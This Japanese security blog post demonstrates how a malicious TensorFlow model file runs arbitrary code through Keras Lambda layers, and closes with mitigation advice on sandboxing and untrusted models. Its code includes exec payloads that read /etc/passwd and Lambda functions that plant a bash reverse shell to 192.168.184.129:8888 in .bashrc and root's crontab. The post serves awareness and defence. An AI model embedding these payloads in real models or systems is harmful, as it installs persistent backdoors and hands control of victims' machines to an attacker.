概要

TensorFlow models are programs
これは、著名な機械学習プラットフォームであるGoogle TensorFlowの「Using TensorFlow Securely」の冒頭に記載されている文言である。TensorFlowには、学習済みモデルをファイルに書き出す、または、学習済みモデルをファイルから読み込む機能が備わっている。これにより、一度学習して作成したモデルの再利用や、モデルの第三者への配布を可能にしている。とても便利である。しかし、もし第三者から提供された学習済みモデルが悪意を持って作られていたらどうだろうか?

TensorFlowの学習済みモデルには、学習済みの重みやバイアス、Optimizerなどを含めることができるほか、Lambdaレイヤを使用することで任意の関数をも含めることができる。当然ながら、任意の関数には任意のコードを記述することができる。このため、悪意のあるコードが埋め込まれた学習済みモデルを読み込み、実行することで、モデルが稼働するシステム上で任意のコードを実行することが可能となる。仮にモデルが高位の権限で稼働している場合、システムの乗っ取りやデータの改ざん、機微情報の窃取、そして、システムの破壊など、甚大な被害が発生することになる。

そこで本ブログでは、あまり広く知られていない学習済みモデルを利用した攻撃手法と対策を、筆者らの検証結果を交えながら解説する。
本ブログが、安全な機械学習プラットフォーム利用の一助になれば幸いである。

論文情報

公開日

2019-03-06

著者情報

Cradmin

  • Tencent Blade Team

論文情報・リンク

https://mp.weixin.qq.com/s/rjcOK3A83oKHkpNgbm9Lbg

https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md

新規性・差分

機械学習を使用して作成されたモデル(画像分類器など)を攻撃する手法は以前から存在する。
例えば、モデルへの入力データに摂動を加えることで分類器の誤判断を引き起こす敵対的サンプルや、学習データを細工することで分類器にバックドアを設置する学習データ汚染といった、機械学習のアルゴリズムに起因する問題が知られている。また、実装面における問題としては、numpyOpenCVなどの脆弱性が悪用されることで、DoSやバッファオーバーフローが引き起こされる問題も知られている。

しかし、本ブログで解説する「細工した学習済みモデルを利用することで任意のコードが実行される問題」は、筆者らが知る限り論文や検証ブログは殆ど発表されていない。これにより、この問題はTensorFlowを用いてモデルを開発している方々の間でもあまり知られていないのではないだろうか。それゆえに、「モデルの精度が高い」という宣伝文句に誘われて、第三者から入手した学習済みモデルをセキュリティ検証せずに利用することも少なくないと思われる。

手法

筆者らが実際に検証した結果を基に、攻撃の手順と対策を解説する。
なお、本検証では tensorflow 2.2.0 を使用する。

注意
本ブログの内容は、攻撃の危険性と対策を理解していただくことを目的に書かれている。本ブログの内容を検証する場合は、必ずご自身の管理下にあるシステムにて、ご自身の責任の下で実行すること。許可を得ずに第三者のシステムで実行した場合、法律により罰せられる可能性があることに注意されたい。

検証のゴール

本検証では、悪意のある者が作成した「画像分類器の学習済みモデル」を被害者に利用させることで、被害者のシステム上で任意のコードを実行させることをゴールとする。以下の流れで検証を行う。

  1. (悪意のある者が)細工した分類器を作成
  2. (悪意のある者が)学習済み分類器をファイルに保存・配布
  3. (被害者が)学習済みモデルを読み込み・分類を実行 ⇒ 任意のコード実行
     

分類器の作成

先ずは、何らかのデータセットを使用して分類器を作成する。

データセット

そこで本検証では、MNISTの手書き数字データセットを使用し、手書き数字画像を分類する簡易的な分類器を作成する。
なお、MNISTは0~9までの手書き数字画像(28×28ピクセル)が70,000枚収録されているフリーのデータセットであり、その手軽さゆえに分類器のテストや敵対的サンプルの検証などに広く利用されている。

MNISTの手書き数字(一例)

本検証では、MNISTを以下のように分割して使用する。

カテゴリデータ数用途
学習データ60,000分類器の学習に使用。
テストデータ10,000分類器のテストに使用。

分類器のアーキテクチャ

本検証では、TensorFlow 2.2.0に組み込まれているtf.kerasを使用し、以下の要領で分類器のアーキテクチャを定義する。

model = tf.keras.models.Sequential([
    tf.keras.layers.Dense(512, activation='relu', input_shape=(784,)),
    tf.keras.layers.Dropout(0.2),
    tf.keras.layers.Dense(10, activation='softmax')
])

この分類器をmodel.summary()で見ると以下のようになる。

入力層、1層の中間層、そして、出力層から成るシンプルなアーキテクチャになっているのが分かる。
なお、この分類器は、MNISTの手書き数字画像を784次元ベクトルとして入力層から受け取り、分類結果を出力層から出力する(出力値はソフトマックス関数により、手書き数字「0~9」の10クラスの確率で構成される確率分布に変換される)。

Lambdaレイヤの追加

Lambdaレイヤとは、任意の計算や関数を分類器の層(レイヤ)として扱う仕組みであり、TensorFlowの組み込み関数や自作関数を分類器に追加することができる。これにより、Lambdaレイヤに追加した関数を分類器の実行時に処理することを可能とする。例えば、前層からの入力値を2乗する計算を分類器に追加する場合は以下のように記述する。

# add a x -> x^2 layer
model.add(tf.keras.layers.Lambda(lambda x: x ** 2))

また、前層からの入力値に5を加算する独自関数を分類器に追加する場合は以下のように記述する。

# add a "tensor" -> "tensor"+5 layer
def custom_layer(tensor):
   return tensor + 5

model.add(tf.keras.layers.Lambda(custom_layer))

このように、Lambdaレイヤを使用することで、任意の計算ロジックや関数を分類器に追加することが可能となり、分類器の処理に柔軟性を持たせることが可能となる。なお、分類器に追加されたLambdaレイヤは、分類器が分類を実行する度に処理される。

本検証では分類器にLambdaレイヤを追加することで任意のコード実行を試みる。
手始めに、以下のPythonコードをLambdaレイヤを追加してみる。

model.add(tf.keras.layers.Lambda(lambda x: [x, exec('print("This system is compromised!!")')][0]))

このコードは、printを使用し、「This system is compromised!!」を標準出力する。
追加したlambdaは、前層からの入力値xを何もせずに(リスト「[x, exec('print("This system is compromised!!")')]」の0番目の要素として)返す処理を行う。つまり、分類には一切関与しないが、リストの1番目の要素exec('print("This system is compromised!!")')を実行する仕組みになっている。

model.summary()で確認すると、以下のように出力層(dense_1)の次にLambdaレイヤ(lambda)が追加されていることが分かる。

分類器の学習

次に、MNISTの学習データを使用して10エポックの学習を行い、分類器を作成する。

学習の様子

Epoch 1/10
1875/1875 [==============================] - 20s 11ms/step - loss: 0.2197 - accuracy: 0.9347 - val_loss: 0.1151 - val_accuracy: 0.9632
Epoch 2/10
1875/1875 [==============================] - 21s 11ms/step - loss: 0.0969 - accuracy: 0.9706 - val_loss: 0.0842 - val_accuracy: 0.9744

...snip...

Epoch 9/10
1875/1875 [==============================] - 24s 13ms/step - loss: 0.0243 - accuracy: 0.9920 - val_loss: 0.0626 - val_accuracy: 0.9822
Epoch 10/10
1875/1875 [==============================] - 24s 13ms/step - loss: 0.0224 - accuracy: 0.9925 - val_loss: 0.0817 - val_accuracy: 0.9807
313/313 - 3s - loss: 0.0817 - accuracy: 0.9807

学習の結果、分類精度「0.9807」の分類器が作成される。
なお、前述したように、追加したLambdaレイヤは分類に一切関与しないため、Lambdaレイヤの追加が分類器の精度に影響することはない

分類器の保存

学習済みモデルを被害者に配布するために、学習後の分類器を「printf_model.h5」などのファイル名でファイルに保存する。
このファイルにはLambdaレイヤを含む分類器のアーキテクチャや学習済みの重み、そして、バイアスなどが含まれている。よって、この学習済みモデルを配布することで、同じ分類器を第三者と共有することが可能となる。

なお、学習済みモデルをテキストエディタで開くと、モデルにLambdaレイヤが含まれていることを確認できる。

白くハイライトした部分がLambdaレイヤに相当する部分である。
Lambdaレイヤがpythonバイトコードにシリアライズされて格納されていることが分かる。このようにシリアライズして格納することで、任意のPythonコードを学習済みモデルに埋め込むことが可能となる。

結果

何らかの方法で学習済みモデルを被害者に配布したものとし、細工された学習済みモデルを被害者が使用することで、任意のPythonコードが実行されるのか確認する。なお、本検証では、被害者は以下の検証用プログラムを用いて学習済みモデルを読み込み、実行することにする。

import sys
import numpy as np
import tensorflow as tf


# テストデータ(MNIST)のロード
(_, _), (test_images, test_labels) = tf.keras.datasets.mnist.load_data()
test_images = test_images.reshape(-1, 28 * 28) / 255.0

# 細工された学習済み分類器の読み込み
print('{} has been loaded.\n'.format(sys.argv[1]))
victim_model = tf.keras.models.load_model(sys.argv[1])

# テストデータの分類実行(最初の1枚のみ)
print('Predicting MNIST..')
result = victim_model.predict(test_images[:1])
print('Pred: "{}"/{:.3f}% (true label="{}")'.format(np.argmax(result[0]), 100*np.max(result[0]), test_labels[0]))

本プログラムは、プログラムの第一引数(sys.argv[1])に指定された学習済みモデル(printf_model.h5)を読み込んで分類器を作成し、MNISTのテストデータを1枚分類する。そして、分類結果を標準出力する。

本検証では、被害者のシステム上(Ubuntu)で分類器を実行する。
以下に実行結果を示す。

テストデータの分類結果(Pred: "7"/99.981% (true label="7"))が出力されており、分類器の予測「Pred: "7"」と実際の正解ラベル「true label="7"」が一致していることから、MNISTの分類が正しく行われていることが分かる。それと同時に、This system is compromised!!という文字列が出力されていることも分かる。これは言うまでもなく、Lambdaレイヤに埋め込まれたexec('print("This system is compromised!!")')が実行されたことを意味する。

もう少し検証を進める。
次に、分類器に以下のLambdaレイヤを追加してみる。

model.add(tf.keras.layers.Lambda(lambda x: [x, exec('import os;os.system("cat /etc/passwd")')][0]))

同じ要領で分類器を学習・保存し、被害者のシステム上で実行する。
以下に実行結果を示す。

/etc/passwdファイルの内容が標準出力されていることが分かる。
この結果から、Lambdaレイヤに埋め込んだexec('import os;os.system("cat /etc/passwd")')が被害者のシステム上で実行されたことが分かる。

このように、細工した学習済みモデルを被害者に使用させることで、埋め込んだPythonコードが実行されることが分かった。なお、分類器を実行しているユーザの権限に応じて実行可能なコードは異なる。これは、システム管理者の権限で分類器が実行された場合、システム管理者の権限で任意のPythonコードが実行されることを意味する。

上記2つの結果例は、分類器の実行都度にPythonコードを実行していた。
次は被害者のシステムにバックドアを設置することを考える。これを行うため、以下のLambdaレイヤを分類器に追加する。

def dummy_input(z):
    # Detect home directory.
    reader = tf.io.read_file('/proc/self/environ')
    envstr = tf.strings.split(input=[reader], sep='\0')
    home_prefix = tf.constant('HOME=')
    i = tf.constant(0)
    c = lambda i: tf.logical_and(tf.less(i, tf.size(envstr.values) - 1),
                                 tf.not_equal(tf.strings.substr(envstr.values[i], 0, 5), [home_prefix])[0])
    b = lambda i: (tf.math.add(i, 1),)
    idx = tf.while_loop(c, b, [i])
    home_env = envstr.values[idx]
    len = tf.size(tf.strings.split([home_env], ''))
    home_dir = tf.strings.substr(home_env, 5, len - 5)

    # Add any command to ".bashrc".
    file_path = tf.strings.join([home_dir, '/.bashrc'])
    org_content = tf.io.read_file(file_path)
    payload = tf.constant('`(/bin/bash -i > /dev/tcp/192.168.184.129/8888 0<&1 2>&1) &>/dev/null`&')
    evil_content = tf.strings.join([org_content, payload])
    tf.io.write_file(file_path, contents=evil_content)
    return z

model.add(tf.keras.layers.Lambda(dummy_input))

Lambdaレイヤに自作関数を埋め込めることは上述したが、ここではdummy_inputという独自関数を埋め込んでいる。
本関数は、分類器を実行したユーザの.bashrcに任意のコマンドを追加する役割を持つ。先ず、/proc/self/environで環境変数のリストを取得し、次に.bashrcが格納されているHOMEディレクトリのPathを特定する。そして最後に、攻撃者のサーバ(192.168.184.129)にコネクトバックするコマンドを.bashrcに追加する。

これらの処理はファイルの読み書きや論理演算、そして、文字列操作などを要するが、全てTensorFlowのAPI(tf.iotf.stringstf.logical_and/not_equalなど)で実現することができる。

先程と同じ要領で分類器を学習・保存し、被害者のシステム上で分類器を実行する。
以下に実行結果を示す。

左上が被害者のコンソール(Ubuntu)、右下が悪意のある者のコンソール(Kali Linux)を表している。なお、被害者はroot権限で分類器を実行することを想定している。

事前に悪意のある者はncコマンドで被害者端末からの接続を待ち受けておく。
被害者は分類器を実行した後にシェル(bash)を再起動しているが、この瞬間、悪意のある者のコンソールのプロンプトがitakaesuからrootに変わっていることが分かる。つまり、悪意のある者によって被害者のシステムが制御されたことを意味している。この後、悪意のある者は被害者のシステム上で(root権限の範囲内で)任意の操作を行うことが可能となる(本検証では、root権限でしかアクセスできない/etc/shadowファイルを標準出力している)。

この時、被害者の.bashrcファイルは以下のように改ざんされている。

最後の行が追加されたコマンドであり、悪意のある者のサーバにコネクトバックするコマンドが書き込まれていることが分かる。
このため、被害者がシステムにログインするなどしてシェルを起動する度に、悪意のある者は被害者のシステムを制御することが可能となる(バックドアの設置)。

なお、同じ要領で、以下のようにcrontabsにコネクトバックするコマンドを追加することで、バックドアの実行をスケジューリングすることも可能である。以下のコードは、1分間隔でコネクトバックを実行するコマンドをLambdaレイヤに埋め込み、分類器に追加している。

def crontabs_input(z):
    # Add any command to "/var/spool/cron/crontabs/root".
    file_path = '/var/spool/cron/crontabs/root'
    org_content = tf.io.read_file(file_path)
    payload = tf.constant("* * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.184.129/8888 0<&1 2>&1'")
    evil_content = tf.strings.join([org_content, payload])
    tf.io.write_file(file_path, contents=evil_content)
    return z

model.add(tf.keras.layers.Lambda(crontabs_input))

分類器を実行すると、悪意のある者のサーバにコネクトバックするコマンドがcronの設定に従って実行される(バックドアのスケジューリング)。

このようにcronを使用することで、悪意のある者にとって都合の良いタイミングでバックドアを実行することが可能となる。

議論

ここでは、悪意のある学習済みモデルを使用した任意のコード実行の対策を議論する。

一言でいうと、学習済みモデルはプログラムであることを意識し、信頼できない第三者から提供されたモデルを使用しないことである。とは言え、開発の都合上、どうしても使用せざるを得ない場合もある。その時は、必ずモデルをサンドボックス環境内で実行することを心掛ける必要がある。このことは、冒頭で示したGoogle TensorFlowの「Using TensorFlow Securely」にも記されている。

また、モデル自体に悪意が無い場合でも、モデル内にバグや入力データ検証機構の不備などが潜んでいる可能性もある。このため、外部から入力データを受け取り、実行されるモデルについてもサンドボックスに隔離する必要がある。加えて、根本的な解決にはならないが、万が一の被害を最小限に抑えるために、モデルの実行権限を必要最低限にすることも重要である。

なお、本ブログで示した問題は、TensorFlowの脆弱性ではないことに注意されたい(バージョンアップやセキュリティパッチ適用で解決できない)。
学習済みモデルの読み書きやLambdaレイヤなどの機能は柔軟なモデル記述や利用を行うために用意されたものであり、これによりTensorFlowのユーザは大きな恩恵を受けることができる。その反面、信頼できない第三者が提供する学習済みモデルを利用することや、バグを生む不適切なコード記述、入力値の検証不備、また、脆弱性のあるバージョンのライブラリ(古いバージョンのnumpyやprotobufなど)をTensorFlowと組み合わせて使用した場合、結果としてTensorFlowで構築したモデルが予期せぬ危険な動作を引き起こす可能性がある。

つまり、どんなに便利な機械学習プラットフォームであっても、それを使用するユーザ次第で危険なものにもなり得る
よって、開発時にはセキュリティに考慮しながら注意深く、そして正しく機械学習プラットフォームを使用する必要があると言える。

以上